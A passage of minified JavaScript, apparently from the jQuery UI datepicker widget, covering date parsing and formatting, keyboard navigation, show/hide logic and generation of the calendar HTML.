class='"+this._appendClass+"'>"+r+"</span>"),t[o?"before":"after"](i.append)),t.unbind("focus",this._showDatepicker),i.trigger&&i.trigger.remove(),s=this._get(i,"showOn"),("focus"===s||"both"===s)&&t.focus(this._showDatepicker),("button"===s||"both"===s)&&(a=this._get(i,"buttonText"),n=this._get(i,"buttonImage"),i.trigger=e(this._get(i,"buttonImageOnly")?e("<img/>").addClass(this._triggerClass).attr({src:n,alt:a,title:a}):e("<button type='button'></button>").addClass(this._triggerClass).html(n?e("<img/>").attr({src:n,alt:a,title:a}):a)),t[o?"before":"after"](i.trigger),i.trigger.click(function(){return e.datepicker._datepickerShowing&&e.datepicker._lastInput===t[0]?e.datepicker._hideDatepicker():e.datepicker._datepickerShowing&&e.datepicker._lastInput!==t[0]?(e.datepicker._hideDatepicker(),e.datepicker._showDatepicker(t[0])):e.datepicker._showDatepicker(t[0]),!1}))},_autoSize:function(e){if(this._get(e,"autoSize")&&!e.inline){var t,i,s,a,n=new Date(2009,11,20),r=this._get(e,"dateFormat");r.match(/[DM]/)&&(t=function(e){for(i=0,s=0,a=0;e.length>a;a++)e[a].length>i&&(i=e[a].length,s=a);return s},n.setMonth(t(this._get(e,r.match(/MM/)?"monthNames":"monthNamesShort"))),n.setDate(t(this._get(e,r.match(/DD/)?"dayNames":"dayNamesShort"))+20-n.getDay())),e.input.attr("size",this._formatDate(e,n).length)}},_inlineDatepicker:function(t,i){var s=e(t);s.hasClass(this.markerClassName)||(s.addClass(this.markerClassName).append(i.dpDiv),e.data(t,r,i),this._setDate(i,this._getDefaultDate(i),!0),this._updateDatepicker(i),this._updateAlternate(i),i.settings.disabled&&this._disableDatepicker(t),i.dpDiv.css("display","block"))},_dialogDatepicker:function(t,i,s,n,o){var h,l,u,d,c,p=this._dialogInst;return p||(this.uuid+=1,h="dp"+this.uuid,this._dialogInput=e("<input type='text' id='"+h+"' style='position: absolute; top: -100px; width: 0px;'/>"),this._dialogInput.keydown(this._doKeyDown),e("body").append(this._dialogInput),p=this._dialogInst=this._newInst(this._dialogInput,!1),p.settings={},e.data(this._dialogInput[0],r,p)),a(p.settings,n||{}),i=i&&i.constructor===Date?this._formatDate(p,i):i,this._dialogInput.val(i),this._pos=o?o.length?o:[o.pageX,o.pageY]:null,this._pos||(l=document.documentElement.clientWidth,u=document.documentElement.clientHeight,d=document.documentElement.scrollLeft||document.body.scrollLeft,c=document.documentElement.scrollTop||document.body.scrollTop,this._pos=[l/2-100+d,u/2-150+c]),this._dialogInput.css("left",this._pos[0]+20+"px").css("top",this._pos[1]+"px"),p.settings.onSelect=s,this._inDialog=!0,this.dpDiv.addClass(this._dialogClass),this._showDatepicker(this._dialogInput[0]),e.blockUI&&e.blockUI(this.dpDiv),e.data(this._dialogInput[0],r,p),this},_destroyDatepicker:function(t){var i,s=e(t),a=e.data(t,r);s.hasClass(this.markerClassName)&&(i=t.nodeName.toLowerCase(),e.removeData(t,r),"input"===i?(a.append.remove(),a.trigger.remove(),s.removeClass(this.markerClassName).unbind("focus",this._showDatepicker).unbind("keydown",this._doKeyDown).unbind("keypress",this._doKeyPress).unbind("keyup",this._doKeyUp)):("div"===i||"span"===i)&&s.removeClass(this.markerClassName).empty())},_enableDatepicker:function(t){var i,s,a=e(t),n=e.data(t,r);a.hasClass(this.markerClassName)&&(i=t.nodeName.toLowerCase(),"input"===i?(t.disabled=!1,n.trigger.filter("button").each(function(){this.disabled=!1}).end().filter("img").css({opacity:"1.0",cursor:""})):("div"===i||"span"===i)&&(s=a.children("."+this._inlineClass),s.children().removeClass("ui-state-disabled"),s.find("select.ui-datepicker-month, select.ui-datepicker-year").prop("disabled",!1)),this._disabledInputs=e.map(this._disabledInputs,function(e){return e===t?null:e}))},_disableDatepicker:function(t){var i,s,a=e(t),n=e.data(t,r);a.hasClass(this.markerClassName)&&(i=t.nodeName.toLowerCase(),"input"===i?(t.disabled=!0,n.trigger.filter("button").each(function(){this.disabled=!0}).end().filter("img").css({opacity:"0.5",cursor:"default"})):("div"===i||"span"===i)&&(s=a.children("."+this._inlineClass),s.children().addClass("ui-state-disabled"),s.find("select.ui-datepicker-month, select.ui-datepicker-year").prop("disabled",!0)),this._disabledInputs=e.map(this._disabledInputs,function(e){return e===t?null:e}),this._disabledInputs[this._disabledInputs.length]=t)},_isDisabledDatepicker:function(e){if(!e)return!1;for(var t=0;this._disabledInputs.length>t;t++)if(this._disabledInputs[t]===e)return!0;return!1},_getInst:function(t){try{return e.data(t,r)}catch(i){throw"Missing instance data for this datepicker"}},_optionDatepicker:function(i,s,n){var r,o,h,l,u=this._getInst(i);return 2===arguments.length&&"string"==typeof s?"defaults"===s?e.extend({},e.datepicker._defaults):u?"all"===s?e.extend({},u.settings):this._get(u,s):null:(r=s||{},"string"==typeof s&&(r={},r[s]=n),u&&(this._curInst===u&&this._hideDatepicker(),o=this._getDateDatepicker(i,!0),h=this._getMinMaxDate(u,"min"),l=this._getMinMaxDate(u,"max"),a(u.settings,r),null!==h&&r.dateFormat!==t&&r.minDate===t&&(u.settings.minDate=this._formatDate(u,h)),null!==l&&r.dateFormat!==t&&r.maxDate===t&&(u.settings.maxDate=this._formatDate(u,l)),"disabled"in r&&(r.disabled?this._disableDatepicker(i):this._enableDatepicker(i)),this._attachments(e(i),u),this._autoSize(u),this._setDate(u,o),this._updateAlternate(u),this._updateDatepicker(u)),t)},_changeDatepicker:function(e,t,i){this._optionDatepicker(e,t,i)},_refreshDatepicker:function(e){var t=this._getInst(e);t&&this._updateDatepicker(t)},_setDateDatepicker:function(e,t){var i=this._getInst(e);i&&(this._setDate(i,t),this._updateDatepicker(i),this._updateAlternate(i))},_getDateDatepicker:function(e,t){var i=this._getInst(e);return i&&!i.inline&&this._setDateFromField(i,t),i?this._getDate(i):null},_doKeyDown:function(t){var i,s,a,n=e.datepicker._getInst(t.target),r=!0,o=n.dpDiv.is(".ui-datepicker-rtl");if(n._keyEvent=!0,e.datepicker._datepickerShowing)switch(t.keyCode){case 9:e.datepicker._hideDatepicker(),r=!1;break;case 13:return a=e("td."+e.datepicker._dayOverClass+":not(."+e.datepicker._currentClass+")",n.dpDiv),a[0]&&e.datepicker._selectDay(t.target,n.selectedMonth,n.selectedYear,a[0]),i=e.datepicker._get(n,"onSelect"),i?(s=e.datepicker._formatDate(n),i.apply(n.input?n.input[0]:null,[s,n])):e.datepicker._hideDatepicker(),!1;case 27:e.datepicker._hideDatepicker();break;case 33:e.datepicker._adjustDate(t.target,t.ctrlKey?-e.datepicker._get(n,"stepBigMonths"):-e.datepicker._get(n,"stepMonths"),"M");break;case 34:e.datepicker._adjustDate(t.target,t.ctrlKey?+e.datepicker._get(n,"stepBigMonths"):+e.datepicker._get(n,"stepMonths"),"M");break;case 35:(t.ctrlKey||t.metaKey)&&e.datepicker._clearDate(t.target),r=t.ctrlKey||t.metaKey;break;case 36:(t.ctrlKey||t.metaKey)&&e.datepicker._gotoToday(t.target),r=t.ctrlKey||t.metaKey;break;case 37:(t.ctrlKey||t.metaKey)&&e.datepicker._adjustDate(t.target,o?1:-1,"D"),r=t.ctrlKey||t.metaKey,t.originalEvent.altKey&&e.datepicker._adjustDate(t.target,t.ctrlKey?-e.datepicker._get(n,"stepBigMonths"):-e.datepicker._get(n,"stepMonths"),"M");break;case 38:(t.ctrlKey||t.metaKey)&&e.datepicker._adjustDate(t.target,-7,"D"),r=t.ctrlKey||t.metaKey;break;case 39:(t.ctrlKey||t.metaKey)&&e.datepicker._adjustDate(t.target,o?-1:1,"D"),r=t.ctrlKey||t.metaKey,t.originalEvent.altKey&&e.datepicker._adjustDate(t.target,t.ctrlKey?+e.datepicker._get(n,"stepBigMonths"):+e.datepicker._get(n,"stepMonths"),"M");break;case 40:(t.ctrlKey||t.metaKey)&&e.datepicker._adjustDate(t.target,7,"D"),r=t.ctrlKey||t.metaKey;break;default:r=!1}else 36===t.keyCode&&t.ctrlKey?e.datepicker._showDatepicker(this):r=!1;r&&(t.preventDefault(),t.stopPropagation())},_doKeyPress:function(i){var s,a,n=e.datepicker._getInst(i.target);return e.datepicker._get(n,"constrainInput")?(s=e.datepicker._possibleChars(e.datepicker._get(n,"dateFormat")),a=String.fromCharCode(null==i.charCode?i.keyCode:i.charCode),i.ctrlKey||i.metaKey||" ">a||!s||s.indexOf(a)>-1):t},_doKeyUp:function(t){var i,s=e.datepicker._getInst(t.target);if(s.input.val()!==s.lastVal)try{i=e.datepicker.parseDate(e.datepicker._get(s,"dateFormat"),s.input?s.input.val():null,e.datepicker._getFormatConfig(s)),i&&(e.datepicker._setDateFromField(s),e.datepicker._updateAlternate(s),e.datepicker._updateDatepicker(s))}catch(a){}return!0},_showDatepicker:function(t){if(t=t.target||t,"input"!==t.nodeName.toLowerCase()&&(t=e("input",t.parentNode)[0]),!e.datepicker._isDisabledDatepicker(t)&&e.datepicker._lastInput!==t){var i,s,n,r,o,h,l;i=e.datepicker._getInst(t),e.datepicker._curInst&&e.datepicker._curInst!==i&&(e.datepicker._curInst.dpDiv.stop(!0,!0),i&&e.datepicker._datepickerShowing&&e.datepicker._hideDatepicker(e.datepicker._curInst.input[0])),s=e.datepicker._get(i,"beforeShow"),n=s?s.apply(t,[t,i]):{},n!==!1&&(a(i.settings,n),i.lastVal=null,e.datepicker._lastInput=t,e.datepicker._setDateFromField(i),e.datepicker._inDialog&&(t.value=""),e.datepicker._pos||(e.datepicker._pos=e.datepicker._findPos(t),e.datepicker._pos[1]+=t.offsetHeight),r=!1,e(t).parents().each(function(){return r|="fixed"===e(this).css("position"),!r}),o={left:e.datepicker._pos[0],top:e.datepicker._pos[1]},e.datepicker._pos=null,i.dpDiv.empty(),i.dpDiv.css({position:"absolute",display:"block",top:"-1000px"}),e.datepicker._updateDatepicker(i),o=e.datepicker._checkOffset(i,o,r),i.dpDiv.css({position:e.datepicker._inDialog&&e.blockUI?"static":r?"fixed":"absolute",display:"none",left:o.left+"px",top:o.top+"px"}),i.inline||(h=e.datepicker._get(i,"showAnim"),l=e.datepicker._get(i,"duration"),i.dpDiv.zIndex(e(t).zIndex()+1),e.datepicker._datepickerShowing=!0,e.effects&&e.effects.effect[h]?i.dpDiv.show(h,e.datepicker._get(i,"showOptions"),l):i.dpDiv[h||"show"](h?l:null),e.datepicker._shouldFocusInput(i)&&i.input.focus(),e.datepicker._curInst=i))}},_updateDatepicker:function(t){this.maxRows=4,n=t,t.dpDiv.empty().append(this._generateHTML(t)),this._attachHandlers(t),t.dpDiv.find("."+this._dayOverClass+" a").mouseover();var i,s=this._getNumberOfMonths(t),a=s[1],r=17;t.dpDiv.removeClass("ui-datepicker-multi-2 ui-datepicker-multi-3 ui-datepicker-multi-4").width(""),a>1&&t.dpDiv.addClass("ui-datepicker-multi-"+a).css("width",r*a+"em"),t.dpDiv[(1!==s[0]||1!==s[1]?"add":"remove")+"Class"]("ui-datepicker-multi"),t.dpDiv[(this._get(t,"isRTL")?"add":"remove")+"Class"]("ui-datepicker-rtl"),t===e.datepicker._curInst&&e.datepicker._datepickerShowing&&e.datepicker._shouldFocusInput(t)&&t.input.focus(),t.yearshtml&&(i=t.yearshtml,setTimeout(function(){i===t.yearshtml&&t.yearshtml&&t.dpDiv.find("select.ui-datepicker-year:first").replaceWith(t.yearshtml),i=t.yearshtml=null},0))},_shouldFocusInput:function(e){return e.input&&e.input.is(":visible")&&!e.input.is(":disabled")&&!e.input.is(":focus")},_checkOffset:function(t,i,s){var a=t.dpDiv.outerWidth(),n=t.dpDiv.outerHeight(),r=t.input?t.input.outerWidth():0,o=t.input?t.input.outerHeight():0,h=document.documentElement.clientWidth+(s?0:e(document).scrollLeft()),l=document.documentElement.clientHeight+(s?0:e(document).scrollTop());return i.left-=this._get(t,"isRTL")?a-r:0,i.left-=s&&i.left===t.input.offset().left?e(document).scrollLeft():0,i.top-=s&&i.top===t.input.offset().top+o?e(document).scrollTop():0,i.left-=Math.min(i.left,i.left+a>h&&h>a?Math.abs(i.left+a-h):0),i.top-=Math.min(i.top,i.top+n>l&&l>n?Math.abs(n+o):0),i},_findPos:function(t){for(var i,s=this._getInst(t),a=this._get(s,"isRTL");t&&("hidden"===t.type||1!==t.nodeType||e.expr.filters.hidden(t));)t=t[a?"previousSibling":"nextSibling"];return i=e(t).offset(),[i.left,i.top]},_hideDatepicker:function(t){var i,s,a,n,o=this._curInst;!o||t&&o!==e.data(t,r)||this._datepickerShowing&&(i=this._get(o,"showAnim"),s=this._get(o,"duration"),a=function(){e.datepicker._tidyDialog(o)},e.effects&&(e.effects.effect[i]||e.effects[i])?o.dpDiv.hide(i,e.datepicker._get(o,"showOptions"),s,a):o.dpDiv["slideDown"===i?"slideUp":"fadeIn"===i?"fadeOut":"hide"](i?s:null,a),i||a(),this._datepickerShowing=!1,n=this._get(o,"onClose"),n&&n.apply(o.input?o.input[0]:null,[o.input?o.input.val():"",o]),this._lastInput=null,this._inDialog&&(this._dialogInput.css({position:"absolute",left:"0",top:"-100px"}),e.blockUI&&(e.unblockUI(),e("body").append(this.dpDiv))),this._inDialog=!1)},_tidyDialog:function(e){e.dpDiv.removeClass(this._dialogClass).unbind(".ui-datepicker-calendar")},_checkExternalClick:function(t){if(e.datepicker._curInst){var i=e(t.target),s=e.datepicker._getInst(i[0]);(i[0].id!==e.datepicker._mainDivId&&0===i.parents("#"+e.datepicker._mainDivId).length&&!i.hasClass(e.datepicker.markerClassName)&&!i.closest("."+e.datepicker._triggerClass).length&&e.datepicker._datepickerShowing&&(!e.datepicker._inDialog||!e.blockUI)||i.hasClass(e.datepicker.markerClassName)&&e.datepicker._curInst!==s)&&e.datepicker._hideDatepicker()}},_adjustDate:function(t,i,s){var a=e(t),n=this._getInst(a[0]);this._isDisabledDatepicker(a[0])||(this._adjustInstDate(n,i+("M"===s?this._get(n,"showCurrentAtPos"):0),s),this._updateDatepicker(n))},_gotoToday:function(t){var i,s=e(t),a=this._getInst(s[0]);this._get(a,"gotoCurrent")&&a.currentDay?(a.selectedDay=a.currentDay,a.drawMonth=a.selectedMonth=a.currentMonth,a.drawYear=a.selectedYear=a.currentYear):(i=new Date,a.selectedDay=i.getDate(),a.drawMonth=a.selectedMonth=i.getMonth(),a.drawYear=a.selectedYear=i.getFullYear()),this._notifyChange(a),this._adjustDate(s)},_selectMonthYear:function(t,i,s){var a=e(t),n=this._getInst(a[0]);n["selected"+("M"===s?"Month":"Year")]=n["draw"+("M"===s?"Month":"Year")]=parseInt(i.options[i.selectedIndex].value,10),this._notifyChange(n),this._adjustDate(a)},_selectDay:function(t,i,s,a){var n,r=e(t);e(a).hasClass(this._unselectableClass)||this._isDisabledDatepicker(r[0])||(n=this._getInst(r[0]),n.selectedDay=n.currentDay=e("a",a).html(),n.selectedMonth=n.currentMonth=i,n.selectedYear=n.currentYear=s,this._selectDate(t,this._formatDate(n,n.currentDay,n.currentMonth,n.currentYear)))},_clearDate:function(t){var i=e(t);this._selectDate(i,"")},_selectDate:function(t,i){var s,a=e(t),n=this._getInst(a[0]);i=null!=i?i:this._formatDate(n),n.input&&n.input.val(i),this._updateAlternate(n),s=this._get(n,"onSelect"),s?s.apply(n.input?n.input[0]:null,[i,n]):n.input&&n.input.trigger("change"),n.inline?this._updateDatepicker(n):(this._hideDatepicker(),this._lastInput=n.input[0],"object"!=typeof n.input[0]&&n.input.focus(),this._lastInput=null)},_updateAlternate:function(t){var i,s,a,n=this._get(t,"altField");n&&(i=this._get(t,"altFormat")||this._get(t,"dateFormat"),s=this._getDate(t),a=this.formatDate(i,s,this._getFormatConfig(t)),e(n).each(function(){e(this).val(a)}))},noWeekends:function(e){var t=e.getDay();return[t>0&&6>t,""]},iso8601Week:function(e){var t,i=new Date(e.getTime());return i.setDate(i.getDate()+4-(i.getDay()||7)),t=i.getTime(),i.setMonth(0),i.setDate(1),Math.floor(Math.round((t-i)/864e5)/7)+1},parseDate:function(i,s,a){if(null==i||null==s)throw"Invalid arguments";if(s="object"==typeof s?""+s:s+"",""===s)return null;var n,r,o,h,l=0,u=(a?a.shortYearCutoff:null)||this._defaults.shortYearCutoff,d="string"!=typeof u?u:(new Date).getFullYear()%100+parseInt(u,10),c=(a?a.dayNamesShort:null)||this._defaults.dayNamesShort,p=(a?a.dayNames:null)||this._defaults.dayNames,f=(a?a.monthNamesShort:null)||this._defaults.monthNamesShort,m=(a?a.monthNames:null)||this._defaults.monthNames,g=-1,v=-1,y=-1,_=-1,b=!1,x=function(e){var t=i.length>n+1&&i.charAt(n+1)===e;return t&&n++,t},k=function(e){var t=x(e),i="@"===e?14:"!"===e?20:"y"===e&&t?4:"o"===e?3:2,a=RegExp("^\\d{1,"+i+"}"),n=s.substring(l).match(a);if(!n)throw"Missing number at position "+l;return l+=n[0].length,parseInt(n[0],10)},w=function(i,a,n){var r=-1,o=e.map(x(i)?n:a,function(e,t){return[[t,e]]}).sort(function(e,t){return-(e[1].length-t[1].length)});if(e.each(o,function(e,i){var a=i[1];return s.substr(l,a.length).toLowerCase()===a.toLowerCase()?(r=i[0],l+=a.length,!1):t}),-1!==r)return r+1;throw"Unknown name at position "+l},D=function(){if(s.charAt(l)!==i.charAt(n))throw"Unexpected literal at position "+l;l++};for(n=0;i.length>n;n++)if(b)"'"!==i.charAt(n)||x("'")?D():b=!1;else switch(i.charAt(n)){case"d":y=k("d");break;case"D":w("D",c,p);break;case"o":_=k("o");break;case"m":v=k("m");break;case"M":v=w("M",f,m);break;case"y":g=k("y");break;case"@":h=new Date(k("@")),g=h.getFullYear(),v=h.getMonth()+1,y=h.getDate();break;case"!":h=new Date((k("!")-this._ticksTo1970)/1e4),g=h.getFullYear(),v=h.getMonth()+1,y=h.getDate();break;case"'":x("'")?D():b=!0;break;default:D()}if(s.length>l&&(o=s.substr(l),!/^\s+/.test(o)))throw"Extra/unparsed characters found in date: "+o;if(-1===g?g=(new Date).getFullYear():100>g&&(g+=(new Date).getFullYear()-(new Date).getFullYear()%100+(d>=g?0:-100)),_>-1)for(v=1,y=_;;){if(r=this._getDaysInMonth(g,v-1),r>=y)break;v++,y-=r}if(h=this._daylightSavingAdjust(new Date(g,v-1,y)),h.getFullYear()!==g||h.getMonth()+1!==v||h.getDate()!==y)throw"Invalid date";return h},ATOM:"yy-mm-dd",COOKIE:"D, dd M yy",ISO_8601:"yy-mm-dd",RFC_822:"D, d M y",RFC_850:"DD, dd-M-y",RFC_1036:"D, d M y",RFC_1123:"D, d M yy",RFC_2822:"D, d M yy",RSS:"D, d M y",TICKS:"!",TIMESTAMP:"@",W3C:"yy-mm-dd",_ticksTo1970:1e7*60*60*24*(718685+Math.floor(492.5)-Math.floor(19.7)+Math.floor(4.925)),formatDate:function(e,t,i){if(!t)return"";var s,a=(i?i.dayNamesShort:null)||this._defaults.dayNamesShort,n=(i?i.dayNames:null)||this._defaults.dayNames,r=(i?i.monthNamesShort:null)||this._defaults.monthNamesShort,o=(i?i.monthNames:null)||this._defaults.monthNames,h=function(t){var i=e.length>s+1&&e.charAt(s+1)===t;return i&&s++,i},l=function(e,t,i){var s=""+t;if(h(e))for(;i>s.length;)s="0"+s;return s},u=function(e,t,i,s){return h(e)?s[t]:i[t]},d="",c=!1;if(t)for(s=0;e.length>s;s++)if(c)"'"!==e.charAt(s)||h("'")?d+=e.charAt(s):c=!1;else switch(e.charAt(s)){case"d":d+=l("d",t.getDate(),2);break;case"D":d+=u("D",t.getDay(),a,n);break;case"o":d+=l("o",Math.round((new Date(t.getFullYear(),t.getMonth(),t.getDate()).getTime()-new Date(t.getFullYear(),0,0).getTime())/864e5),3);break;case"m":d+=l("m",t.getMonth()+1,2);break;case"M":d+=u("M",t.getMonth(),r,o);break;case"y":d+=h("y")?t.getFullYear():(10>t.getYear()%100?"0":"")+t.getYear()%100;break;case"@":d+=t.getTime();break;case"!":d+=1e4*t.getTime()+this._ticksTo1970;break;case"'":h("'")?d+="'":c=!0;break;default:d+=e.charAt(s)}return d},_possibleChars:function(e){var t,i="",s=!1,a=function(i){var s=e.length>t+1&&e.charAt(t+1)===i;return s&&t++,s};for(t=0;e.length>t;t++)if(s)"'"!==e.charAt(t)||a("'")?i+=e.charAt(t):s=!1;else switch(e.charAt(t)){case"d":case"m":case"y":case"@":i+="0123456789";break;case"D":case"M":return null;case"'":a("'")?i+="'":s=!0;break;default:i+=e.charAt(t)}return i},_get:function(e,i){return e.settings[i]!==t?e.settings[i]:this._defaults[i]},_setDateFromField:function(e,t){if(e.input.val()!==e.lastVal){var i=this._get(e,"dateFormat"),s=e.lastVal=e.input?e.input.val():null,a=this._getDefaultDate(e),n=a,r=this._getFormatConfig(e);try{n=this.parseDate(i,s,r)||a}catch(o){s=t?"":s}e.selectedDay=n.getDate(),e.drawMonth=e.selectedMonth=n.getMonth(),e.drawYear=e.selectedYear=n.getFullYear(),e.currentDay=s?n.getDate():0,e.currentMonth=s?n.getMonth():0,e.currentYear=s?n.getFullYear():0,this._adjustInstDate(e)}},_getDefaultDate:function(e){return this._restrictMinMax(e,this._determineDate(e,this._get(e,"defaultDate"),new Date))},_determineDate:function(t,i,s){var a=function(e){var t=new Date;return t.setDate(t.getDate()+e),t},n=function(i){try{return e.datepicker.parseDate(e.datepicker._get(t,"dateFormat"),i,e.datepicker._getFormatConfig(t))}catch(s){}for(var a=(i.toLowerCase().match(/^c/)?e.datepicker._getDate(t):null)||new Date,n=a.getFullYear(),r=a.getMonth(),o=a.getDate(),h=/([+\-]?[0-9]+)\s*(d|D|w|W|m|M|y|Y)?/g,l=h.exec(i);l;){switch(l[2]||"d"){case"d":case"D":o+=parseInt(l[1],10);break;case"w":case"W":o+=7*parseInt(l[1],10);break;case"m":case"M":r+=parseInt(l[1],10),o=Math.min(o,e.datepicker._getDaysInMonth(n,r));break;case"y":case"Y":n+=parseInt(l[1],10),o=Math.min(o,e.datepicker._getDaysInMonth(n,r))}l=h.exec(i)}return new Date(n,r,o)},r=null==i||""===i?s:"string"==typeof i?n(i):"number"==typeof i?isNaN(i)?s:a(i):new Date(i.getTime());return r=r&&"Invalid Date"==""+r?s:r,r&&(r.setHours(0),r.setMinutes(0),r.setSeconds(0),r.setMilliseconds(0)),this._daylightSavingAdjust(r)},_daylightSavingAdjust:function(e){return e?(e.setHours(e.getHours()>12?e.getHours()+2:0),e):null},_setDate:function(e,t,i){var s=!t,a=e.selectedMonth,n=e.selectedYear,r=this._restrictMinMax(e,this._determineDate(e,t,new Date));e.selectedDay=e.currentDay=r.getDate(),e.drawMonth=e.selectedMonth=e.currentMonth=r.getMonth(),e.drawYear=e.selectedYear=e.currentYear=r.getFullYear(),a===e.selectedMonth&&n===e.selectedYear||i||this._notifyChange(e),this._adjustInstDate(e),e.input&&e.input.val(s?"":this._formatDate(e))},_getDate:function(e){var t=!e.currentYear||e.input&&""===e.input.val()?null:this._daylightSavingAdjust(new Date(e.currentYear,e.currentMonth,e.currentDay));return t},_attachHandlers:function(t){var i=this._get(t,"stepMonths"),s="#"+t.id.replace(/\\\\/g,"\\");t.dpDiv.find("[data-handler]").map(function(){var t={prev:function(){e.datepicker._adjustDate(s,-i,"M")},next:function(){e.datepicker._adjustDate(s,+i,"M")},hide:function(){e.datepicker._hideDatepicker()},today:function(){e.datepicker._gotoToday(s)},selectDay:function(){return e.datepicker._selectDay(s,+this.getAttribute("data-month"),+this.getAttribute("data-year"),this),!1},selectMonth:function(){return e.datepicker._selectMonthYear(s,this,"M"),!1},selectYear:function(){return e.datepicker._selectMonthYear(s,this,"Y"),!1}};e(this).bind(this.getAttribute("data-event"),t[this.getAttribute("data-handler")])})},_generateHTML:function(e){var t,i,s,a,n,r,o,h,l,u,d,c,p,f,m,g,v,y,_,b,x,k,w,D,T,M,S,N,C,A,I,P,F,H,z,E,j,O,L,W=new Date,R=this._daylightSavingAdjust(new Date(W.getFullYear(),W.getMonth(),W.getDate())),Y=this._get(e,"isRTL"),J=this._get(e,"showButtonPanel"),B=this._get(e,"hideIfNoPrevNext"),K=this._get(e,"navigationAsDateFormat"),V=this._getNumberOfMonths(e),q=this._get(e,"showCurrentAtPos"),U=this._get(e,"stepMonths"),G=1!==V[0]||1!==V[1],Q=this._daylightSavingAdjust(e.currentDay?new Date(e.currentYear,e.currentMonth,e.currentDay):new Date(9999,9,9)),X=this._getMinMaxDate(e,"min"),$=this._getMinMaxDate(e,"max"),Z=e.drawMonth-q,et=e.drawYear;if(0>Z&&(Z+=12,et--),$)for(t=this._daylightSavingAdjust(new Date($.getFullYear(),$.getMonth()-V[0]*V[1]+1,$.getDate())),t=X&&X>t?X:t;this._daylightSavingAdjust(new Date(et,Z,1))>t;)Z--,0>Z&&(Z=11,et--);for(e.drawMonth=Z,e.drawYear=et,i=this._get(e,"prevText"),i=K?this.formatDate(i,this._daylightSavingAdjust(new Date(et,Z-U,1)),this._getFormatConfig(e)):i,s=this._canAdjustMonth(e,-1,et,Z)?"<a class='ui-datepicker-prev ui-corner-all' data-handler='prev' data-event='click' title='"+i+"'><span class='ui-icon ui-icon-circle-triangle-"+(Y?"e":"w")+"'>"+i+"</span></a>":B?"":"<a class='ui-datepicker-prev ui-corner-all ui-state-disabled' title='"+i+"'><span class='ui-icon ui-icon-circle-triangle-"+(Y?"e":"w")+"'>"+i+"</span></a>",a=this._get(e,"nextText"),a=K?this.formatDate(a,this._daylightSavingAdjust(new Date(et,Z+U,1)),this._getFormatConfig(e)):a,n=this._canAdjustMonth(e,1,et,Z)?"<a class='ui-datepicker-next ui-corner-all' data-handler='next' data-event='click' title='"+a+"'><span class='ui-icon ui-icon-circle-triangle-"+(Y?"w":"e")+"'>"+a+"</span></a>":B?"":"<a class='ui-datepicker-next ui-corner-all ui-state-disabled' title='"+a+"'><span class='ui-icon ui-icon-circle-triangle-"+(Y?"w":"e")+"'>"+a+"</span></a>",r=this._get(e,"currentText"),o=this._get(e,"gotoCurrent")&&e.currentDay?Q:R,r=K?this.formatDate(r,o,this._getFormatConfig(e)):r,h=e.inline?"":"<button type='button' class='ui-datepicker-close ui-state-default ui-priority-primary ui-corner-all' data-handler='hide' data-event='click'>"+this._get(e,"closeText")+"</button>",l=J?"<div class='ui-datepicker-buttonpane ui-widget-content'>"+(Y?h:"")+(this._isInRange(e,o)?"<button type='button' class='ui-datepicker-current ui-state-default ui-priority-secondary ui-corner-all' data-handler='today' data-event='click'>"+r+"</button>":"")+(Y?"":h)+"</div>":"",u=parseInt(this._get(e,"firstDay"),10),u=isNaN(u)?0:u,d=this._get(e,"showWeek"),c=this._get(e,"dayNames"),p=this._get(e,"dayNamesMin"),f=this._get(e,"monthNames"),m=this._get(e,"monthNamesShort"),g=this._get(e,"beforeShowDay"),v=this._get(e,"showOtherMonths"),y=this._get(e,"selectOtherMonths"),_=this._getDefaultDate(e),b="",k=0;V[0]>k;k++){for(w="",this.maxRows=4,D=0;V[1]>D;D++){if(T=this._daylightSavingAdjust(new Date(et,Z,e.selectedDay)),M=" ui-corner-all",S="",G){if(S+="<div class='ui-datepicker-group",V[1]>1)switch(D){case 0:S+=" ui-datepicker-group-first",M=" ui-corner-"+(Y?"right":"left");break;case V[1]-1:S+=" ui-datepicker-group-last",M=" ui-corner-"+(Y?"left":"right");break;default:S+=" ui-datepicker-group-middle",M=""}S+="'>"}for(S+="<div class='ui-datepicker-header ui-widget-header ui-helper-clearfix"+M+"'>"+(/all|left/.test(M)&&0===k?Y?n:s:"")+(/all|right/.test(M)&&0===k?Y?s:n:"")+this._generateMonthYearHeader(e,Z,et,X,$,k>0||D>0,f,m)+"</div><table class='ui-datepicker-calendar'><thead>"+"<tr>",N=d?"<th class='ui-datepicker-week-col'>"+this._get(e,"weekHeader")+"</th>":"",x=0;7>x;x++)C=(x+u)%7,N+="<th"+((x+u+6)%7>=5?" class='ui-datepicker-week-end'":"")+">"+"<span title='"+c[C]+"'>"+p[C]+"</span></th>";for(S+=N+"</tr></thead><tbody>",A=this._getDaysInMonth(et,Z),et===e.selectedYear&&Z===e.selectedMonth&&(e.selectedDay=Math.min(e.selectedDay,A)),I=(this._getFirstDayOfMonth(et,Z)-u+7)%7,P=Math.ceil((I+A)/7),F=G?this.maxRows>P?this.maxRows:P:P,this.maxRows=F,H=this._daylightSavingAdjust(new Date(et,Z,1-I)),z=0;F>z;z++){for(S+="<tr>",E=d?"<td class='ui-datepicker-week-col'>"+this._get(e,"calculateWeek")(H)+"</td>":"",x=0;7>x;x++)j=g?g.apply(e.input?e.input[0]:null,[H]):[!0,""],O=H.getMonth()!==Z,L=O&&!y||!j[0]||X&&X>H||$&&H>$,E+="<td class='"+((x+u+6)%7>=5?" ui-datepicker-week-end":"")+(O?" ui-datepicker-other-month":"")+(H.getTime()===T.getTime()&&Z===e.selectedMonth&&e._keyEvent||_.getTime()===H.getTime()&&_.getTime()===T.getTime()?" "+this._dayOverClass:"")+(L?" "+this._unselectableClass+" ui-state-disabled":"")+(O&&!v?"":" "+j[1]+(H.getTime()===Q.getTime()?" "+this._currentClass:"")+(H.getTime()===R.getTime()?" ui-datepicker-today":""))+"'"+(O&&!v||!j[2]?"":" title='"+j[2].replace(/'/g,"&#39;")+"'")+(L?"":" data-handler='selectDay' data-event='click' data-month='"+H.getMonth()+"' data-year='"+H.getFullYear()+"'")+">"+(O&&!v?"&#xa0;":L?"<span class='ui-state-default'>"+H.getDate()+"</span>":"<a class='ui-state-default"+(H.getTime()===R.getTime()?" ui-state-highlight":"")+(H.getTime()===Q.getTime()?" ui-state-active":"")+(O?" ui-priority-secondary":"")+"' href='#'>"+H.getDate()+"</a>")+"</td>",H.setDate(H.getDate()+1),H=this._daylightSavingAdjust(H);S+=E+"</tr>"}Z++,Z>11&&(Z=0,et++),S+="</tbody></table>"+(G?"</div>"+(V[0]>0&&D===V[1]-1?"<div 